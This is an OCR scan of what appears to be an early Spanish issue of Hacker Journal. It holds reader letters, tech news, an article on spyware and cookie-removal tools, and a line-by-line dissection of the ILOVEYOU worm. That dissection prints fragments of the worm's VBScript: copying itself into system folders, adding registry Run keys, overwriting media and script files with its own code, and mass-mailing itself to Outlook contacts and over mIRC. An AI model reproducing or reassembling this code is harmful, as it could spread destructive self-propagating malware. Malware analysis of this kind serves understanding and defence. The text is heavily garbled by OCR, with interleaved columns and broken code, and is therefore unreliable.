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hacker (hik’ar)

“Persona que se divierte explorando los detalles de los

sistemas de programacién y expandiendo sus capacidades,
a diferencia de muchos usuarios, que prefieren aprender
solamente el minimo necesario.”

ACABO DE BAJAR AL

Acabo de bajar al quiosco y he visto est Elchg de revist*;“es genial facil de entender,
corta no es un tostén de revista y lo mejor degodd precio que esta de puta madre &_ esto es
la gloria, espero que sigais asi. 4 i

Hay que meterle mano a la web, seh? que estd bastante en panales. Yo también estoy a
favor de la suscripcion online, que proponia Dj_Yo$elito en un mensaje anterior.
Y yo apostaria por una revista sin CD de regalogcontrariamente a lo que parece que estd esta-
blecido como norma, en las revistas de informaticaf va que éste sélo encarece el producto y al final
siempre acaba en una caja transparente, sin ser §tilizado nunca més ya que para llenar un CD,
normalmente, se connierte en basura. Asimismo/##ropongo siempre que sea posible, que los pro-
gramas referenciados en los articulos de la revist@ sean publicados en la seccion de descargas de
esta, web.
£
e gustaria que esta revista me ayudara y
que la informatica, profesional se me hiciera facilgdé entender. He visto otras como arroba, (pero
son demasiado para mi y no empiezo por el priric: ¢y Bspero que esta revista me ensefle mucho,
Le mando un saludo al administrador por llevar a cabo esta revista que sin duda creo que llega-
r4 lgjos (No es peloteo). Y un saludo a todos l@p@vegantes interesados por estos temas, y que
intentan cada dia aprender mas. Porque Internet no esta formado por ese navegador o ese chat
(MSN), sino que Internet tiene mas cosas que son muy interesantes. Espero que esta revista me
lo ensefie, porque yo muchas veces digo mucho, pero hago poco (me cuesta creo que a todos).
Gracias a todos. g
tecniloco

Quiero aprender por que no tengo ni ids

(Y

v ]
En principio deciros que me ha gusti
en su cantidad ya que veo un poco caro que:por
como por ejemplo computer , que no es del.migim ..ya lo se! , tiene 175 pagina por solo 1,75_
..Seguro que aceptais criticas constructivas ywal el cliente lo va, a agradecer con su compra
mensualmente..os saluda un administrador‘dé sistemas.
Halford

: %vista en su contenido pero es un poco floja
6lo contenga 31 pag.. Otras revistas del ramo

{4 e
Buen intento que ojala prospere. El carmnpo éﬁ’amph’o. Pero, por favor, estas letras verdes
me estan matando los ojos. Lo hacéis a proposito,para que la gente compre la revista? Juro que
la, compro, pero cambiadlassssss.... W) ‘% il y
lloron. 23 o o 3y )

s bastante buena. Aprovecho la ocasion para
e puedo conseguir la revista.
ta:r%tée% buena, espero poder decir lo mismo de

Para todos nosotros de la’ rédagcién, hacer una revista como
Hacker Journal era un suefo y ahoraes una realidad. Recibir mensajes,
propuestas o criticas como las que habéis enviado en poquisimos dias,
significan algo mas: son la muestra de que una revista vive de sus lec-
tores, en el lenguaje, estilo y su modo de ver las cosas. Halford, el pre-
cio de Hacker Journal comprende algo que pocos pueden tener: la inde-
pendencia. Y la independencia cuestacara, sobretodo si para defender-
la debéis descartar la publicidad y pagarte todos los costes. A Tecniloco
podemos decir que estamos convencidos de que recorreremos mucho
camino juntos, estamos considerdgdo seriamente la sugerencia de
Dj_Yosolito y también la idea de er en la Web los programas, o al
menos los links mas ttiles. En Séuilla no deberia ser dificil encontrar
Hacker Journal, si fuese asi decidndslo que lo controlaremos con el dis-
tribuidor. Por lo que toca al simpatiquisimo lloron_23, que ha entendido
como esta de verdad la cosa, tii gompra la revista y nosotros tal vez qui-

Enhorabuena por la web, la verdad b
pedir a alguien de Sevilla que me pueda, indigar
Hasta pronto os vuelvo a decir que la pagina es
la, revista.

Saludos.

temos un poco de verde, o tal vez no...

i
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UNA REUISTE%HRH T0DOS
iy

, MID HACKING ¢

0 g
i hecho por algunas cosas simples r otras complicadas. Hay
h experiencia y expe para los cuales el ordenador no tiene
iculo de Hacker Jourfid Viene marcado con una contrasena
NEWBIE (para quién co nza), MIDHACKING (para quién ya
(para quiég come pan y worm).

El mundo hacker
curiosos, lectores
secretos. Cada
para cada nive

esta dentro) y I
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tro nuevo peligro acecha Google
Se trata de Microsoft. Juzgando la
prepotencia con la cual se ha

introducido en otros sectores del
mercado que no eran de su
competencia, el motor de busqueda
mas utilizado en el Web tiene validos
motivos para temer. Y es con MSNBot
que la empresa quiere atacar. Se trata
de un software destinado a la indizacion
de los sitios Web que toma la delantera
con un verdadero buscador que los
técnicos de Microsoft han estado
estudiando durante un afio. Antes de
anunciar su intencion de utilizar sus
propias tecnologias, la colosal empresa
en las busquedas de MSN, confiaba en
Inktomi y Overture de propiedad de
Yahoo!.

o EL TELEFONO QUE TE LEE LOS LABIOS

[l

ueva tecnologia al servicio de la

humanidad! Muchisimas veces
encontramos  dificultades quando
queremos dar un significado concreto a
esta expresion super utilizada. Pero en
este caso el resultado y la utilidad de
este aparato son evidentes. Estamos
hablando de Synface, un teléfono para
quien padece lesiones al oido, que
posee un software che permite
reproducir los movimientos de la cara en
un display. El ordenador crea una

“cara
digital” en
tres
dimensiones
y permite .
cambiar expresion
integrando mformacmnes

para una correcta interpretacion de la
frase pronunciada. Los primeros
prototipos llegaran dentro de dos o tres
meses y su puesta a prueba sera en
otorio en Reino Unido.

2 ;MOVILO
PESADILLA?

|
movil...jqueé
pesadilla!Si lo
ienes todo el
dia encendido
y te llaman
I continuamente
y saben siempre donde te encuentras.
Y ¢sabias que en Gran Bretana
aunque lo tengas apagado en tu
bolsillo, trasmite sefales que cuando
son decodificadas permiten saber
donde estas con gran exactitud? Por el
momento las informaciones pueden
llegar a los oidos de la policia pero
dentro de poco podrian ser al alcance
de vuestros jefes. Por ejemplo una

empresa comercial tendra |a
posibilidad de controlar a sus
representantes o  incluso los

restaurantes podran enviar mensajes
a posibles clientes que se encuentran
en sus cercanias. jEsperemos que
todas estas ideas no atraviesen el
Canal de la Mangal!

< EL PUEBLO INTERNET TEME POR SU IDENTIDAD []

egun un sondeo de RSA .

Security, quien navega
en Internet tiene mucho
miedo a que alguien/
pueda arrebatarle su /il
identidad y que ést
pueda ser empleada
de modo ilegitimo. A
pesar de todo, mas del
40% de los usuarios
todavia no han
implementado ningln tipo §

® REDONDEAR EL SUELDO CON EXTRAS

de proteccion contra los ataques
gque pueden amenazar su
seguridad. Solo un 39%
tiene instalado un software
A antivirus. En conclusion:
fel temor de que alguien
' 1pueda “robar” la identidad
no es suficiente para
4™ hacer cambiar al 42% de
¥los entrevistados sus
cuando

B

odos sabemos que quien trabaja en
Microsoft gana mucho dinero. Pero
escuchad como se las ha ingeniado
Richard Gregg para poder redondear su
sueldo. Este trabajador aprovechando su
posicion estratégica comprava softwares

a precios ventajosos y después los
vendia por su cuenta. Ha ganado 17
millones de dolares pero Microsoft lo ha
despedido inmediatamente y ha abierto
un procedimiento penal. Richard jte lo
podias imaginar !

< VIDEOJUEGOS EN
TELEVISION

e llama G4 y es el primer canal de

television por cable dedicado al
mundo de los videojuegos. Es
increible la evolucion a la que hemos
asistido en el campo de los
videojuegos en los ultimos arios pero
lo que llama la atencion, es la cantidad
de publico aficionado. El canal G4 fue
creado hace un ano por la Comcast
con un presupuesto de 150 millones
de dolares. Este bajo presupuesto
demuestra que la empresa no creia en
una iniciativa con éxito. Pues...
inimaginables son los resultados ya
que el numero medio de
telespectadores ha sido el doble de lo
que se habia planificado. Uno de los
programas que tiene mas adictos es
Pulse que permite de aprender los
trucos para eludir a las reglas del
juego.



Simplemente iENHORABUENA! y seguid asi que este primer
nomero es estupendo. Loco estoy ya por que llegue el pré-
ximo. Los temas, articulos y portada en resumen COJONU-
DOS. Y del precio para que hablar.

El proposito por el que me pongo en
contacto con vosotros es el siguiente:
Hace unos dias me compré la revista
Hacker Journal y me gusté mucho, por
lo que estaba pensando en la posibili-
dad de suscribirme, pero no viene nin-
guna informacién al respecto en las
paginas de la revista.

ve LUS UG

Esa es la nota que pongo al primer nd-
mero de la revista, a saber: cosas Uti-
les, informacién de Gltima hornada y
buena presentacion.

Sélo os pido un favor: icuidad la orto-
grafia, por Diooosss !!

iA seguir bien!

(¢habéis pensado en meter CDs o algo
asi?)

Ante todo quiero felicitaros por la reali-
zacién de esta revista. Como

usuario informdtico soy un poco avanza-
do, pero como hacker, programador o
informético me confieso bastante nova-
to. Espero que la lectura de vuestra re-
vista me ayude a sobrepasar esta condi-
cién y ha ir un poco més adelante

con mis habilidades informdticas.
Igualmente, espero que una sabia elec-
cién de los articulos ayude a vuestros
lectores a tener mejores ideas.

He visto vuestra revista en el kiosko de
prensa y enseguida la he comprado.
No he podido evitarlo. El problema es
que se hace demasiado corta. Ya la he
leido y me parece muy interesante. Ya
estoy ansioso por ver el siguiente
numero.

Antes de nada felicitaros mucho por
vuestra nueva publicacién, que ya he
hecho mia desde el primer numero.
También felicitaros por vuestra valentia
al sacar una publicacién de este estilo y
animaros a seguir asi durante
muchisimo tiempo, espero que siempre
y como un fiel seguidor de vuestra
publicacién os ayudaré en lo que esté a
mi alcance. iSeguid osil.




TRv2HACK: [METED |o [

PRUEBA |[VUESTRA [HasiL1oAD]

Todos os creéis buenisimos pero, élograis
superar los niveles de proteccién de mo-
do ultra rapido? Demostradlo al mundo y
a vosotros mismos intentando superar los
diez niveles de dificultad del juego
Try2Hack (try to hack), presente en nues-
tra web www.hacker-jounal.com.

El juego consiste en superar los niveles,
insertando cada vez la password correcta
(se puede llegar de otros modos a las
paginas protegidas con password).

Para hacerlo, tal vez necesites algunos
programas (Macromedia Flash, Softice,
VisualBasic).

No podemos asegurar que todo funcione
exactamente como se debe.

éHabéis entendido?

iSecret Zone!

He aqui los cédigos para acceder a la Secret
Zone de nuestro sitio, donde podréis encontrar
informacién e instrumentos interesantes. Con
algunos browser, pude ser necesario insertar
dos veces los mismos cédigos. No os detengéis
al primer intento.

114N salu? |
LS5 pin8

¢LAS PUERTAS DEL SERVIDOR TE SON
TAN FAMILIARES COMO LA DE LA NEVE-
RA DE CASA?, ¢ QUEREIS COLABORAR
CON NOSOTROS? iBIEN! ENVIADNOS
UN MAIL A:

redaccion @ hacker-journal.com

Hackerjournal
I; 'yf :
? ‘“}w/

Type the password and click to continue :

Click here to continue

Level 2

Username :

Password :

R

(MI'IMI-[M]-[M]-[MI

N
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tipo shareware, es decir, utili

os, habrdn infenfq

& [ialer un programa (ml vez bajado de In-
| ternet o encontrado en cualquier CD) de

| tringido de funciones...
do dicho periodo apar
sas ventanas encargad
usuario que ” riodo a disposicién ha
lerminad "“es necesario adquirir

con un crack bajado de algun
ez, alguna modificacién de los
‘ ‘0, mds simplemente, la reinsta-
lacién del programa ha sido demasiado
fécil evitar el registro del shareware.

"

>> RIP shareware...

De frente a todo esto, programado-
esy casas de software se han vis-
ados en muchas ocasiones
ndonar el camino del share-
re para recorrer otros mdas pro-
chosos. Asi muchos programas han
olucionado, convirtiéndose en adware
del inglés ad - abreviacion de ady
ment, es decir, aviso publicitario,
licidad); de hecho en el interi
rograma se visvalizan bamihers
ublicitarios siempre distintos y €l pro-
ramador recibe una compensacién ba-
| sdndose en el nimero de exposiciones y
de clicks sobre los banners. Se puede
decir que el sistema utilizado es el mis-
mo que se emplea en los bon@ers pre-
sentes en las pdginas web y de esta for-
ma, el programador gana ai importe
que nadie habria pagado en ‘caso con-
trario. De este punto de vista Opera es
un caso emblemdtico, las primeras ver-
siones shareware, recibieron una res-
puesta moderada de los navegadores,
pero a partir del diciembre del 2000,
con el |onzcm|enfo de la quinta versién,
ién “patrocinadas” en lugar
, el nimero de usuarios
crecié a desmedida. Resumiendo, cuan-

=
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WEWWIBLE

GEL GRAN HERMANO NOS VIGILA2

do os conectdis en la red el adware des-
carga los banners pubhcncmos que son
visualizados a rotacién en la ventana del
programa que los ha llamado; y hasta
aqui todo va bien. En este caso, el infer-
cambio de informacién es précticamen-
te unidireccional: del servidor al progra-
ma. ;

i

|

>>...el software empieza
a espiap |

que esto implique una violacion de
la intimidad de los usuarios. 2Por-

cion, cuando es posible efectuar cam-
panas publicitarias basdndose en los in-
tereses de los usuarios? Entonces es
aqui que se infroduce una especie de
“programa’en el programa” que
tiene la Unica funcién de espiar a
las personas, recogiendo informacién
sobre su conducta y enviéndola a un
servidor preciso. Nos encontramos a
punto de identificar el motivo crucial
que diferencia la tecnologia adware de
la spyware: en el primer caso la comu-
nicacién tiene lugar sélo en una direc-
cién, y tenemos una exposicién de ban-
ners, mientras que en el caso desgra-
ciado en el que la comunicacién tiene
lugar también del programa al servidor
(y, por lo tanto, es el usuario quien
manda datos al servidor y no viceversa)
nos encontramos en presencia de un
spyware. En la préctica, este tipo de
“software espia” puede transmitir
cualquier tipo de informacion so-
bre las paginas visitadas y lo per-
manencia en ellas, los diferentes
downloads efectuados y las accio-
nes realizadas con el navegador
(incluidas eventuales adquisicio-
nes on-line), la configuracion del
hardware, el software instalado,

a los medios a su alcane é a pesar de

qué limitarse a exponer banners a rota- |

vuestro nombre tal como se encuen-
tra en el archivo de registro de Windows
(el que se introduce durante la instala-
cién) junto, obviamentg, a los datos de
vuestra conexion (direccion IP, pero tam-
bién el proveedor y la poblacién en
la que os encontrdis) e incluso
vuestra direccion de correo. Los da-
tos que un spyware puede recoger son
mQumerobles y, a menudo,
son revendi-

dos  muy
caros a ter-
ceras em-

presas que %
se interesan ad
por ellos. M
2Asusta- }%@’
dos por to- |1%

do esto? 2la

paranoia se | ¥
acrecienta | 3
por esta of- | %
mosfera or- | ¢
weliana de | |
Gran Herma- '
no? Mo teo
mdis... Después A
de todo si sabéis %
leer los sintomas
4

es bastante fécilf%
descubrir si hay un

spyware en vuestro g
PC y, de la misma
forma, no es muy dificil
librarse de él.
>> Los sintomas.

Si vuestra conexién se ha ralentizado
notablemente después de haber instala-
do un nuevo programa @ si archiv si-

guen intentando abrir un@ conexién sin
que el antivirus detecte la presencia de
do: blemente un
spywore ha sido instalado en vuestro or-
denador. Otros sintomas pueden ser

| FlashGet,

tolerables,
escondidos

y que incluso estén a
mbre) o extrafios pop-up
cen durante la navegacién,
n banners en castellano o re-

siderar que estos sp
residentes en memoria,
causan bastantes pro-
blemas originando con-
flictos con otros progra-

estabilidad de todo el
sistema. Netscape Naviga-
tor, por ejemplo, se bloquea
presentando errores en el
médulo Advert.dll, mientras
que con Internet Explorer
5.01 se producen errores al
azar gue bloquean el nave-
gador y la Unica solucién es
reiniciar el sistema (también en este
caso la libreria Advert.dll es lo causa
del fenémeno). i
Existen muchisimos programas que
contienen spyware (los listas de estos
software esparcidas por la %d son innu-
merables y es suficiente infr J
“spyware list” en un buscador pa -
contrar alguna de ellas) y entre éstos
encontramos nombres como
Go!Zilla,
Babylon, IPhone y ca
programas de int mbio de ar-
chives mas difundidos. Es necesario
decir q% sélo algunas versiones menos
recientes contienen spyware, mientras
que en los Gltimos lanzamientos, tal vez

mas y comprometen la |

7 | www.hacker-journat.com
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DCookue Eater

Defenderse de las ”gallemﬂs

El método mas rapido para defenderse de los cookles consust

\computerl @www.lealnew\
omputer ] @www. ruotecla

Delete Cookies ||
\computer 1 @www. virginrac
\computer] @www.yoox[1]1

configurar el navegader de modo que solicite siempre la autor ntes de de- | \computer] @www?.islandd

o i , o ‘ ; - 1 S\Cook o  1adio2¢
scargar un cookie resultaria, a causa de las continuas peticiones, decididamente frus- C:W,,MDDM,S\Caokiestﬁﬁﬁgﬁfiﬂéﬁmﬁ‘ﬁ,’f
trante. Como deciamos, en muchos casos estos peguenos archivos poseen una cadu- | RN AU LU LY 4

T k 1CAWINDOWSA\Cookies\computer] @yoox[1] tat
cidad desfués de la cual no son considerados vdlidos, sin embargo, no por ello son re-

gistro de Windows y a la memoria,
mientras que a la derecha tres grandes
botones permiten visualizar los varios
backup de lo pechosos fras
varias “limpie i

_iniciar el

chosos vy, @
verlos todos o s6lo aquell‘
grama indique, proc

backup (no os fiéis...). De |
sa es RefUpdate, una pequena ‘herra-
mienta que,

» “;¥ donde metemaos
los cookies?”

presién de los usuarios, “Las empresas de la

muchas casas han decidido (al menos .

en parte) eliminarlos o ponerlos “a es- I:IEIJJ economy estan

condidas”. dispuestas a todo por

un poco de dinero”

alguier caso en la inmensa Red
ido aumentando poco a poco
s trampas, utilizadas por las em-
esas de la new economy, de Iqs

> i...pero no faltan los

remedios! tamente de la Red actualizaciones de los
‘ . archivos de definici
mitiendo de est
los spyware m@s r
el servidor desd
gar las actuali
_mente definid en el ment Options

2i6n de vuestro ordenador simplemente a
través de la apertura

B .

e ~ de una pdgina
o S aP web: versién del
5PVC‘N navegador y del
\ Lo istema operativo,
resolucién del
monitor, direccién

Como decidmos antes, eliminar estos
programas espia no es tn dificil: exist
un programa expresamente estudiad
para esta finalidad. Ad-aware, pro
ducto de Lavasoft, ha sido creado ‘los parémetros del proxy), debéis
para buscar y remover programas simplemente pulsar Connect y, una &|
y archives adware, programas y ar- | | vez que todo ha terminado, iniciar el

chivos spyware, llaves de los registros de | | andlisis con Ad-aware actualizado. IP Gltima pégina
con gurucxo%p sospechosas y cookies | | Hasta el afo pasado existia O s visitada, presencia
sospechosas. Sin lugar a dudas su em- tOut, otro programa con funcnona o068 rsft de  eventuales
pleo es intuitivaly sus resultados extraor- _dades andlogas a Ad-aware, p Tyl plug-in, etc. Todos
dinarios. Una vez instalado, con po desarrollo se defuvo y las ‘ estos datos, que a
clicks (la version8.8x es algo inferior a circulan, ademds de se primera vista po-
900Kb), Ad-aware estd listo para ser son siquiera funcio ¢ drian parecer ca-
ejecutado. A la izquierda de la ponfulla que el mismo Steve Gibson, autor de | lrentes de interés,
principal es posible seleccion 0 a sus usuarios a utilizar ‘ o son en realidad
féricos fisicos que se desea que grama de Lavasoft citado antes. “W,ﬂ"*" muy importantes para fo-

grama analice, junto légicamente al re- das aquellas empresas que des-

www.hacker-Journal.com | 8




movidos de vuestro PC y una alternativa interesante al procedimiento manual (es decir, a eliminar sin-
gularmente los cookies) puede ser el uso de algunos programas (en particular destaca Cookie Eater,
aunque existen muchos otros més o menos evolucionados con nombres igual de elocuentes como Co-

okie Killer, Cookie Monster...) que, por medio de agradables interfaces,

simplifican la operacién de “limpieza” individuando automaticamente
los cookies. Finalmente es necesario recordar que, respecto a Explorer,
navegadores como Opera y, sobretodo, Netscape y Mozilla permiten
un control mayor y una personalizacién mejor del nivel de proteccion

en lo referente a las cookies.

arrollan, por ejemplo, sitios web para los
cuales significa mucho saber que la ma-
yoria de los usuarios utiliza Netscape en
lugar de Explorer (ummm... enos de-
i6dmelo creer ;) o si ha sido stalado o
no el plug-in Macromedia Flash. El pro-
blema no es el tipo de informacién pro-
porcionada sino en el hecho que son “sa-
cadas” sin que el usuario sea informado.

plices)
d

de una publici
con miras

red, los navegadores proporcionan una
proteccién discreta (mientras lo permitan
los bugs), porque existen sélo determina-
dos datos que un navegador puede en-
viar a un servidor y ofros que puede en-
viar el servidor al navegador. Los Gnicos
archivos que un servidor web puede en-
viar a nuestro ordenador son los conoci-
dos “cookies”, o bien, archivos de texto
(generalmente de pequefias dimensiones)
que el navegador memoriza y conserva
en una direccién expresa (C:\Win-
dows\Cookies para quien utiliza IE en su
PC). En un cookie generalmente no
se guardan datos sensibles y mucho
menos el nimero de vuestra tarjeta
de crédito y, es necesario subrayarlo,
los cookies creados por un servidor no
pueden ser lefidos por ofros servidores.
Infentemos ver que contiene:

—-@kmeleon.sourceforge[l] .txt:
lang

es

kmeleon.sourceforge.net/

0

1825436032

29722983

3017797024

29502, ..

Por lo que se refiere a la navegacién en |

La situacion se complica si los co-
okies son memorizados por un
script contenido, por ejemplo, en
un pop-up publicitario de una web:
los banners visualizados en las péginas
web del portal no los gestiona directa-
mente el sitio del portal, si no gue son
enviados por potentes servidores de las
companfas publicitarias y, por eso los
banners visualizados en pdginas imp
res son en realidad gestionados po
mismo servidor publicitario (ad-ser

Es asf como un cookie m
una pdgina de un cierto
perfectamente ser lefdo por aquella de

{ reconstruir
Web. A este
empresas que
conducen lao visualizacién del banner
pueden tener interés en utilizar las coo-
kies: .si leyendo un cookie, un ad-ser-

ad-server, .consiguiendo
nuestro “recorrido” en

ofro si ambas se apoyasen en el mismo |

| de la Red, pero es posibl

No  haremos
hincapié en el
contenido; sin
embargo s
evidente como ha visuali-
este  cookie zado el si-
memoriza el tio,ide g
idioma pre- Lamborghini |
definido pa- deﬁ"lc: erald,aml "ép,do y la pdgina
ra ese sitio web; Ohes d64e Qrchiv Odo de un fan-|
| por lo tanto en las préximds d-awqr ° de club de Mon-
| visitas a la pagina, si el cookie todavia €. toya, es proba-
| no ha caducado ain, el castellano serd j ble que se sien-
el idioma predefinido. 1 ta mds atraido |

he del navegador, es posible
2guir sus desplazamientos de
una pagina web a ofra, estudiar

y asf, por ejemplo, mostrar sobre las
pdginas que solicita mensajes publici-
tarios enfocados para que la campafa
publicitaria tenga el mayor éxito posi-

~ Cookie Eater - Elimina los cookies
- Mdiﬁot‘e;h.com/Produds/CookieEuter

| Mol GaoleVll- Blacues las cookdes

www.analogx.com

‘Cookie Monster - Elimina todos los cookies

http://go.to/ampsoft

ble...

En resumen: son muchas la

lele - www.altos.tk

sus preferencias y sus costumbres |

S

e
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— VIRUS .= H

DESTRIPADO, LINEA A LINEA, EL VIRUS MAS FAMOSO

El mes de mayo del 2001 fue - informaticamente hablando -
sefialado por la aparicion del virus “I Love You”, que se propagaba
por correo electronico bajo la forma de archivo adjunto. Con un
nombre tan cautivador, fueron numerosas las victimas de su

influ jo. Descubriremas hoy los secretos del funcionamiento de uno

de los virus mas famosos del mundao...

Los secretos del Virus

Love You es un programa escrito en Visual Basic

Script, un lenguaije préximo a Visual Basic. El virus es-

t4 contenido en un archivo llamado “Love Letter for

you.hxt.vbs”. A simple vista esta doble extensién pue-

de ser muy llamativa, pero al contrario, permite

atraer la atencién de las victimas. Como configura-
cién predefinida, Windows oculta las extensiones conocidas. Vbs
es una extensién reconocida por Windows y ejecutable con
Wscript.exe. El nombre del virus aparece con el nombre de “Lo-
ve Letter for you.ixt”, lo que puede inducir a pensar que se trate
sélo de un archivo de texto clasico. Habréis comprendido que,
en el caso de abrir este archivo, no serd el bloc de notas el pro-
grama lanzado, sino Wscript.exe quien ejecutard el virus. En pri-
mer lugar, algunos datos del registro de sistema son modifica-
dos permitiendo asf al virus ser ejecutado al iniciar vuestro orde-
nador; a continuacién ocurre lo mismo con algunos pardmetros
de Internet Explorer, para facilitar la proliferacion del troyano.
Pero el mds grave de los problemas, que explica la enorme di-
fusién del virus, es que durante la ejecucién se envia automati-
camente como archivo adjunto (de la misma forma como lo he-
mos recibido) a los contactos de nuestro libro de direcciones de
Outlook. De esta forma, sin ni siquiera saberlo, no sélo infectdis
vuestro ordenador, sino que también contribuis a propagarlo.
Ademds este virus ha sido difundido a través del IRC, es decir la
red de chat. Descubramos juntos una parte del cédigo de este
virus con la finalidad de comprender mejor cémo funciona y cé-
mo el virus | Love You ha podido difundirse tan féciimente.

» Firma de los autores

rem barok -loveletter (vbe)

rem by: gpider / ispyder@mail.com /
@GRAMMERSoft Group /

Manila, Philippines

)

Las dos primeras lineas del cédigo corresponden a la firma de
los autores del virus, firma que desde el inicio ha hecho pensar
que el virus proviniese de las Filipinas.

> Difusion del virus en nuestro
sistema

Set dirwin = fso.GetSpecialFolder (0)

Set dirsystem = fso. GetSpecialFolder (1)
Set dirtemp = fso. GetSpecialFolder (2)
Set ¢ = fso.Getfile (Wscript.ScriptFullNa-
me)

c.Copy (dirsystem&”\MSKernell32.vbs

¢.Copy (dirwin& “\Win32DLL.vbs)

c¢c.Copy (dirsystem&”LOVE-LETTER-FOR-
YOu.TXT.vbs")

[ie.]

Gracias a esta sinfaxis el virus se copia en archivos diferentes como:

C:\Windows\System\ MSKernel32.vbs
C:\Windows\System\ Win32DLL,.vbs
C:\Windows\System\ LOVE-LETTER-FOR-
YOU.TXT.vbs

sub regruns()

On Error Resume Next

Dim Num, downread

regcreate

“HKEY LOCAL_MACHINE\Software\Microsoft\Win
dows\CurrentVersion\Run\MSKernel32
#,dirsystem&” \MSKernel32.vbs

regcreate

#HKEY LOCAL MACHINE\Software\Microsoft\Win

10 | www.hacker-journal.com




dows\CurrentVersion\RunServices\Wi

n32DLL” ,dirwin&” \Win32DLL.vbs” ,

downread="" | o Expresién asustada, rastros de acné en
downread=regget (”HKEY CURRENT USER\Softwa- ; . las mejillas, zapatos deportivos rape-
re\Microsoft\Internet . ros: asi el joven filipino de veintitrés
Explorer\Download Directory”) ; s { afios Onel De Guzman aparece impro-
If (downread="") then ~ i / visamente ante la opinién publica inter- |
downread="c:\"” ~ o nacional a pocos dias de la explosién
end if del virus | love you. Las acusaciones
f...] que recaen sobre e| son duras: se le retiene responsable de
haber creado e introducido en la Red el virus informdtico
mds dafioso nunca antes creado. Huérfano de padre, su
madre es la propietaria de una pequefia flota pesquera.
Apasionado del ordenador desde pequefio, era uno de los
mejores estudiantes del Ama, una cadena de institutos de
Ademés, la subrutina regruns infecta la base de los registros con informdtica muy populares en el Sureste Asidtico. Alli entrd
la finalidad de ejecutar a cada inicializacion de nuestro PC. No- a formar parte de un grupo llamado Grammersoft. Se
tamos que se realizan otras alteraciones en los registros, como la trata de j6venes de grande talento unidos por la pasién

>> Infeccian de los archivos con el virus

que permite la descarga automdtica del troyano con el intento de por los ordenadores y el deseo de convertirse en progra-
infectar el ordenador. madores.

Serd ese fatidico nombre, introducido probablemente por
If (ext="vbs”) or (ext="vbe”) then hdbito y reencontrado al interno del script | love you, a di-
Set ap= fso.OpenTextFile (fl.path,2, true) rigir las sospechas sobre él. A pesar de las pruebas apla-
Ap.write vbscopy stantes que sobre él pesaban y la peticidén de extradicién en

Ap.close los Estados Unidos del FBI, nunca ha sido incriminado por-

‘ que Filipinas, en el momento de los hechos, carecia de una
Asi el ordenador cancela los archivos que contienen la extensién ley sobre la pirateria informética. De Guzman, que en el
.vbs y .vbe. mundo de los hackers, y para muchos chicos filipinos, es
un Robin Hood que lucha por un Internet “democrético”
elseif (ext="js”) or (ext="js"e) or y, sobre todo, gratuito, se ha declarado siempre inocen-
(ext="css”) or (ext="wsh”) or (ext="gct”) te, reenfocando las dudas legales ligadas a crimenes in-
or (ext=hta”) then ' formdticos.
set ap=fso.OpenTextFile (fl.path,2,true) Todo esto sucede mientras en el mundo contindan los te-
ap.write vbscopy mores sobre la debilidad de la Red, siempre mds centrada
ap.close en las economias occidentales, facilmente atacable por
bname=fso.GetBaseName (£1.path) estudiantes emprendedores de paises en via de desarrollo.
set cop=fgo.GetFile (fl.path) ) : /
cop.copy (folderspec&”\”&name&”.vbs”) mp3.write vbscopy
fso.DeleteFile (flpath) mp3.close

. get att=fso. GetFlle (f1l.path)

| 1 atk. attr:l.butes—att attr1butes+2
Sucede la misma cosa a los archivos con extensién s .jse .css end if :
wsh .sct, y .hta, son eliminados y substituidos con crchivos con

extension .vbs. : la misma suerte corren los archivos .mp3 y .mp2.

elseif (ext="jpg”) or (ext="jpeg”e) then if (eg<s>folderspec) then

set ap=fso.OpenTextFile (fl.path,2,true) ‘ 1f (B="mirc32 . exe”) or (s-—mllnk32 exe”)
ap.write vbscopy ‘ or [(B="mire . ini”) or

ap.close (s="script.ini”) or (s="mirc.hlp”) then

set cop=fso.GetFile (fl.path) set scriptini=fso.CreateTextFile (folder'-‘
cop.copy (fl.path&”.vbs”) spec&”\script.ini”) ‘
fso.DeleteFile (fl.path) scriptini.Writeline "[script]""
scriptini.Writeline “; mIRC Script”
scriptini.Writeline ”; Please dont edit
Lo mismo para los archivos con extensién .jpg y .jpeg que son this script ...mIRC will corrupt,
cancelados y reemplazados por archivos con el mismo nombre i1f mIRC wills . ‘

pero con extension .vbs. scriptini.Writeline “ corrupt...WINDOWS
will affect and will not run
correctly.thanks”
scriptini.Writeline “;”

elgeif (ext=(mp3) or (ext="mp2”) then
get mp3=fso.CreateTextFile (fl.path&”.vbs”)

o
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DESTRIPADO, LINEA A LINEA, EL VIRUS MAS FAMOSO

- -

“;Khaled Mardam-Bey”
“.http://www.mirc.com
"ett
I
#:n0=on 1:JO0IN:#: {«
#:pnle/if ( Snick ==

gcriptini.Writeline
scriptini.Writeline
scriptini.Writeline
scriptini.Writeline
scriptini.Writeline
gme ) { halt 17
scriptini.Writeline “n2= /.dcc sen S$nick
#gdirsystem&” \LOVE-LETTER-FOR-YOU . HTM"
scriptini .Writeline “n3= } »
scriptini.close
end if
end if
next
end sub

El virus | Love You controla finalmente nuestro sistema para veri-
ficar la existencia del programa Mirc, que permite acceder al chat
de IRC. En este caso el virus se servird de este programa para pro-
pagarse a otros usuarios.

>> Propagacian del pirus a traves de |
Outlook

=1

regv=regedit.RegRead (“HKEY CURRENT_USER\So
ftware\Microsoft \WAB\”&a)

if (regv="") then

regvil

end if

if (int(a.AddressEntries.Count)s>int(regv))

then

for ctrentries=1 to a.AddressEntries.Count
malead=a.Adressemtries (x)

regad=ll ”

regad=regedit.RegRead (“HKEY CURRENT USER\S
oftware\mMicrosoft \WAB\”&malead)

if (regad="") then

En esta parte del cédigo del virus, podemos confirmar que el vi-
rus llama a la aplicacién Wab.exe, si ejecutdis la aplicacion des-
de el meny Inicio\Ejecuta podréis percataros que se trata de el li-
bro de direcciones de Outlook. Como hemos ya indicado, el virus
se transmite automdticamente a todos los contactos que hacen
parte de nuestro libro de direcciones, sin que nos demos siquiera
cuenta.

Set male=out.CreateItem (0)

Male.Recipients.Add (malead)

Male.Subject = “ILOVEYOU”

Male.Body = vberlf&”kindly check the attached
LOVELETTER coming from me.”
Male.Attachments.Add (dirsystem&” \LOVE-LET-
TER-FOR-YOU.TXT.vbs”)

Male.Send

Regedit.RegWrite

“HKEY CURRENT USER\Software\Microsoft\WAB\

s

#“smalead, 1, ”"REG_DWORD”

end if

X=x+1

next

regedit.RegWrite
"HKEYwCURRENTﬂUSER\Software\Mi&rosoft\WAB\
#ga,a.AddressEntries.Count

else

regedit .RegWrite

“HKEY CURRENT USER\Software\Microsoft\WAB\
“ga,a.AddressEntries.Count

end if

next

Set out=Nothing

Set mapi=Nothing

End sub

La sintaxis superior permite simplemente crear el mensaje del e-mail
